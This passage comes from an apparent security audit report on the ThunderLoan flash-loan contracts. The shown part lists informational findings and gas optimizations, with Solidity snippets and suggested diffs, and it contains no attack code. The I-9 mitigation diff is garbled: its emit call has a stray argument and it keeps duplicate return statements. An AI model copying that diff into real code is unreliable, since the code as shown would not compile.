7         __Oracle_init(tswapAddress);
8 -     s_feePrecision = 1e18;
9 -     s_flashLoanFee = 3e15; // 0.3% ETH fee
10 +     s_flashLoanFee = INITIAL_FLASHLOAN_FEE; // 0.3% ETH fee
11 }

```

[I-5] Low Test Coverage Indicates Untested Edge Cases

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

The coverage is obtained by executing the command below:

```
1 `forge coverage --no-match-coverage "(script|test|Mock)"`
```

File index: 1. AssetToken.sol 2. OracleUpgradeable.sol 3. ThunderLoan.sol 4. ThunderLoanUpgraded.sol

	i	% Lines	% Statements	% Branches	% Funcs
1	-----	-----	-----	-----	-----
2	1	73.08%	75.00%(15/20)	0.00%(0/3)	77.78%(7/9)
3	2	90.91%	100.00%(9/9)	100.00%(0/0)	80.00%(4/5)
4	3	60.00%	64.63%(53/82)	18.18%(2/11)	52.94%(9/17)
5	4	0.00%	0.00%(0/80)	0.00%(0/11)	0.00%(0/16)
6	Total	39.22%	40.31%(77/191)	8.00%(2/25)	42.55%(20/47)

[I-6] Updated storage variable should emit an Event for better off-chain tools tracking

Description: There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Recommended Mitigation: For both `ThunderLoan.sol` and `ThunderLoanUpgraded.sol`, consider adding an event for the state change:

```
1 +   event UpdateFlashLoanFee(uint256 indexed oldFee, uint256 indexed
2     newFee)
3     ...
4
5     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
6         if (newFee > s_feePrecision) {
7             revert ThunderLoan__BadNewFee();
8         }
9
10 +    emit UpdateFlashLoanFee(s_flashLoanFee, newFee);
11    s_flashLoanFee = newFee;
12 }
```

[I-7] Missing NatSpec from the important functions

Description: For best practices in code readability and maintainability, it is advised for any protocol to include a comment on their functions using NatSpec format.

Consider implement it in the following functions:

```
1 AssetToken.sol:
2   - [L#80]: function updateExchangeRate(uint256 fee) external
      onlyThunderLoan {
3
4 OracleUpgradeable.sol:
5   - [L#19]: function getPriceInWeth(address token) public view
      returns (uint256) {
6   - [L#24]: function getPrice(address token) external view returns (
      uint256) {
7   - [L#28]: function getPoolFactoryAddress() external view returns (
      address) {
8
9 ThunderLoan.sol:
10  - [L#148]: function deposit(IERC20 token, uint256 amount) external
      revertIfZero(amount) revertIfNotAllowedToken(token) {
11  - [L#181]: function flashloan(
12  - [L#231]: function repay(IERC20 token, uint256 amount) public {
13  - [L#239]: function setAllowedToken(IERC20 token, bool allowed)
      external onlyOwner returns (AssetToken) {
14  - [L#258]: function getCalculatedFee(IERC20 token, uint256 amount)
      public view returns (uint256 fee) {
15  - [L#265]: function updateFlashLoanFee(uint256 newFee) external
      onlyOwner {
16
17 ThunderLoanUpgraded.sol:
18  - [L#147]: function deposit(IERC20 token, uint256 amount) external
      revertIfZero(amount) revertIfNotAllowedToken(token) {
19  - [L#180]: function flashloan(
20  - [L#230]: function repay(IERC20 token, uint256 amount) public {
21  - [L#238]: function setAllowedToken(IERC20 token, bool allowed)
      external onlyOwner returns (AssetToken) {
22  - [L#257]: function getCalculatedFee(IERC20 token, uint256 amount)
      public view returns (uint256 fee) {
23  - [L#264]: function updateFlashLoanFee(uint256 newFee) external
      onlyOwner {
```

[I-8] Interface IThunderLoan : IThunderLoan should be implemented by ThunderLoan contract

Description: Interfaces are important guides to people who are interested in implementing the contract itself, it is important to have an accurate interface that represent the contract itself, for instance, the `IThunderLoan : repay` function has different paramters than the actual `ThunderLoan : repay` function.

```
1 IThunderLoan.sol:
2     interface IThunderLoan {
3 @>         function repay(address token, uint256 amount) external;
4     }
5
6 ThunderLoan.sol:
7 @>         function repay(IERC20 token, uint256 amount) public {
```

Recommended Mitigation: Once the interface is correctly declared, consider implement it in the ThunderLoan contract:

```
1 +     import { IThunderLoan } from "../interfaces/IThunderLoan.sol";
2
3     contract ThunderLoan is
4 +         IThunderLoan,
5         Initializable, OwnableUpgradeable, UUPSUpgradeable,
6         OracleUpgradeable {
7         ...
```

[I-9] Code readability improvement

Description: In function `ThunderLoan : setAllowedToken`, `s_tokenToAssetToken` are read in both branches, consider refractoring it.

```
1     function setAllowedToken(IERC20 token, bool allowed) external
2         onlyOwner returns (AssetToken) {
3 @>         if (allowed) {
4             if (address(s_tokenToAssetToken[token]) != address(0)) {
5                 revert ThunderLoan__AlreadyAllowed();
6             }
7             string memory name = string.concat("ThunderLoan ",
8                 IERC20Metadata(address(token)).name());
9             string memory symbol = string.concat("tL", IERC20Metadata(
10                 address(token)).symbol());
11             AssetToken assetToken = new AssetToken(address(this), token
12                 , name, symbol);
13             s_tokenToAssetToken[token] = assetToken;
14             emit AllowedTokenSet(token, assetToken, allowed);
15             return assetToken;
```

```
12         } else {
13 @>         AssetToken assetToken = s_tokenToAssetToken[token];
14             delete s_tokenToAssetToken[token];
15             emit AllowedTokenSet(token, assetToken, allowed);
16             return assetToken;
17         }
18     }
```

Recommended Mitigation: Cache the variable `s_tokenToAssetToken[token]` to memory:

ThunderLoan.sol:

```
1     function setAllowedToken(IERC20 token, bool allowed) external
2         onlyOwner returns (AssetToken) {
3         AssetToken assetTokenConcerned = s_tokenToAssetToken[token];
4         if (allowed) {
5             if (address(
6 -                 assetToken
7 +                 assetTokenConcerned
8             ) != address(0)) {
9                 revert ThunderLoan__AlreadyAllowed();
10            }
11            string memory name = string.concat("ThunderLoan ",
12                IERC20Metadata(address(token)).name());
13            string memory symbol = string.concat("tL", IERC20Metadata(
14                address(token)).symbol());
15            AssetToken assetToken = new AssetToken(address(this), token
16                , name, symbol);
17            s_tokenToAssetToken[token] = assetToken;
18            emit AllowedTokenSet(token, assetToken, allowed);
19            return assetToken;
20        } else {
21 -            AssetToken assetToken = s_tokenToAssetToken[token];
22 -            delete s_tokenToAssetToken[token];
23            emit AllowedTokenSet(
24                token,
25                assetToken,
26                assetTokenConcerned,
27                allowed
28            );
29            return assetToken;
30            return assetTokenConcerned;
31        }
32    }
```

Gas Optimization

[G-1] Avoid using bools because it can incur storage overhead

Description: Use `uint256(1)` and `uint256(2)` for boolean `true` or `false` to avoid a `Gwarmaccess` (100 gas), and to avoid `Gsset` (20000 gas) when changing from `false` to `true`, after having been `true` in the past. See source.

```
1 ThunderLoan.sol:
2     - [L#98]: mapping(IERC20 token => bool currentlyFlashLoaning)
           private s_currentlyFlashLoaning;
```

[G-2]: Public Function Not Used Internally

Description: If a function is marked `public` but is not used internally, consider marking it as `external` because `external` functions are more gas-efficient than `public` functions. The main difference is `external` functions read parameters directly from calldata, whereas `public` functions copy array and string arguments to memory first, which requires extra operations and higher gas costs.

```
1 ThunderLoan.sol:
2     - [L#231]: function repay(IERC20 token, uint256 amount) public {
3     - [L#276]: function getAssetFromToken(IERC20 token) public view
           returns (AssetToken) {
4     - [L#280]: function isCurrentlyFlashLoaning(IERC20 token) public
           view returns (bool) {
5
6 ThunderLoanUpgraded.sol:
7     - [L#230]: function repay(IERC20 token, uint256 amount) public {
8     - [L#275]: function getAssetFromToken(IERC20 token) public view
           returns (AssetToken) {
9     - [L#279]: function isCurrentlyFlashLoaning(IERC20 token) public
           view returns (bool) {
```

[G-3]: Unused Custom Error

Description: Consider using or removing the unused custom errors for gas optimization.

```
1 ThunderLoan.sol:
2     - [L#84]: error ThunderLoan__ExchangeRateCanOnlyIncrease();
3
4 ThunderLoanUpgraded.sol:
5     - [L#84]: error ThunderLoan__ExchangeRateCanOnlyIncrease();
```

[G-4] Using `private` rather than `public` for constants, saves gas

Description: If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

```
1 AssetToken.sol:
2   - [L#25]: uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
3
4 ThunderLoan.sol:
5   - [L#95]: uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3%
      ETH fee
6   - [L#96]: uint256 public constant FEE_PRECISION = 1e18;
```

[G-5] Unnecessary SLOAD when logging new exchange rate

Description: In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, consider log the value of `newExchangeRate`.

```
1   s_exchangeRate = newExchangeRate;
2   - emit ExchangeRateUpdated(s_exchangeRate);
3   + emit ExchangeRateUpdated(newExchangeRate);
```

[G-6] Unchanged Variables Should Be Cast As Constant To Save Gas

```
1 ThunderLoan.sol:
2   - [L#144]: ThunderLoan.s_feePrecision
```

[G-7]: Unused import

Description: Redundant import statement. Consider removing it.

```
1 IFlashLoanReceiver.sol:
2   - [L#4]: import { IThunderLoan } from "./IThunderLoan.sol";
```